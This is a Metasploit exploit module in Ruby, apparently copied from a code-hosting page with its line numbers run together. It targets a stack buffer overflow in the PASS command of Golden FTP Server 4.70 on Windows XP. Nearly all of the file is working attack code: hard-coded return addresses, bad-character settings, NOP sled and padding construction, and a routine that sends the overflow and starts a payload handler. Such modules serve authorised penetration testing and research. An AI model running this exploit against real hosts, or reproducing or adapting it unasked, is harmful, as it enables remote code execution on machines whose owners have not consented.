Path: blob/master/modules/exploits/windows/ftp/goldenftp_pass_bof.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'GoldenFTP PASS Stack Buffer Overflow',15'Description' => %q{16This module exploits a vulnerability in the Golden FTP service, using the PASS17command to cause a buffer overflow. Please note that in order trigger the vulnerable18code, the victim machine must have the "Show new connections" setting enabled. By19default, this option is unchecked.20},21'Author' => [22'Craig Freyman', # Initial poc on exploit-db with iglesiasgg23'bannedit', # Initial msf module24'Joff Thyer <jsthyer[at]gmail.com>', # Improved msf version25],26'License' => MSF_LICENSE,27'References' => [28[ 'CVE', '2006-6576'],29[ 'OSVDB', '35951'],30[ 'BID', '45957'],31[ 'EDB', '16036'],32],33'DefaultOptions' => {34'EXITFUNC' => 'seh',35},36'Privileged' => false,37'Payload' => {38'Space' => 440,39'BadChars' => "\x00\x0a\x0d",40},41'Platform' => ['win'],42'Targets' => [43[ 'Windows XP Pro SP3', { 'Ret' => 0x7E45AE4E, } ], # JMP ESI USER32.dll44[ 'Windows XP Pro SP2', { 'Ret' => 0x77D4E23B, } ], # JMP ESI USER32.dll45[ 'Windows XP Pro SP0/SP1', { 'Ret' => 0x77e8157b, } ] # JMP ESI kernel32.dll46],47'DisclosureDate' => '2011-01-23',48'Notes' => {49'Reliability' => UNKNOWN_RELIABILITY,50'Stability' => UNKNOWN_STABILITY,51'SideEffects' => UNKNOWN_SIDE_EFFECTS52}53)54)55end5657def check58connect59disconnect60vprint_status("FTP Banner: #{banner}".strip)61if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"62return Exploit::CheckCode::Appears63else64return Exploit::CheckCode::Safe65end66end6768def exploit69shortjmp = make_nops(3) + "\xeb\x20"70nopsled = make_nops(1) * 6071srciplen = Rex::Socket.source_address.length72padding = make_nops(1) * (533 - (srciplen + nopsled.length + payload.encoded.length))7374sploit = nopsled75sploit << payload.encoded76sploit << padding77sploit << [target.ret].pack('V')7879print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")8081connect82raw_send(shortjmp + "\n")83send_user(datastore['FTPUSER'])84send_cmd(['PASS', sploit], false)85select(nil, nil, nil, 2)86handler87disconnect88end89end909192